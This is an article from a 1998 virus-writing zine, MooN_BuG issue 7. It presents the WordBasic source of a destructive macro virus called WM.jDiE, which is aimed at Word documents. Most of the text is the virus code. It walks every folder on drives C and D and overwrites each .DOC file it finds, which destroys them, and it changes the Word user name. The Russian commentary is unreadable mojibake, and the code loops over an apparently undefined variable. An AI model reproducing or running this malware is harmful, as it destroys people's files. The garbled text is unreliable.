[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998                                           file 012

                    ��[BeginNFO]������������������������Ŀ
                    � Name    : WM.jDiE                  �
                    � Made by : FRiZER (frizer@usa.net)  �
                    � Made at : 25/07/98                 �
                    � Target  : *.DOC in all subdirs C,D �
                    � Type    : Overwriter               �
                    ��[EndNFO]����������������������������

     �� ����� ����� ������ OverWriter �� Word Basic'e ? � ��� ;) �� � ᤥ���.
�����  ����稫��  �㯮�  �  �஧��  ;)  ������� ������ ���� ����� �� ����
��宦.  ��  ����⨨  ��ࠦ������ 䠩�� (����� �ᥣ�� �㤥� ���� � �� ��),
��祣�  ��  �ந�室��,  �  ��� �� �����⨨... ���. �ਥ堫�. ����� ஥��� ��
�ᥬ�  ����  (���  ��  ᢮���  ;) ���� "�����᪨�" ४��ᨢ�� ��⮤��. ���
������ ᥡ� ��������� (*.DOC), ⠪ ��� � 㡨����. ᢮�� 嫨���� ⥫��. ����饬
����� �����.

=== Cut ===
'.---------.
': WM.jDiE :
'`---------'

Sub MAIN
On Error Goto EndMain
For d = Asc("C") To Asc("D")
        Call Troi(Chr$(d), Chr$(d) + ":\")
Next d
EndMain:
End Sub

Sub Troi(d$, path$)
DirNum = CountDirectories(path$)
If DirNum = - 1 Then Goto FindFile
For i = 1 To DirNum
        CurDir$ = GetDirectory$(path$, i)
        Call Troi(d$, path$ + CurDir$ + "\")
Next i
FindFile:
f$ = Files$(path$ + "*.doc")
c = - 1
While f$ <> ""
        c = c + 1
        f$ = Files$()
Wend
If c > - 1 Then
        f$ = Files$(path$ + "*.doc")
        CopyFile .FileName = FileName$(), .Directory = f$
        For i = 1 To count
                f$ = Files$()
                CopyFile .FileName = FileName$(), .Directory = f$
        Next i
End If
ToolsOptionsUserInfo .Name = "jDiE"
Print "jDiE here!"
End Sub
=== Cut ===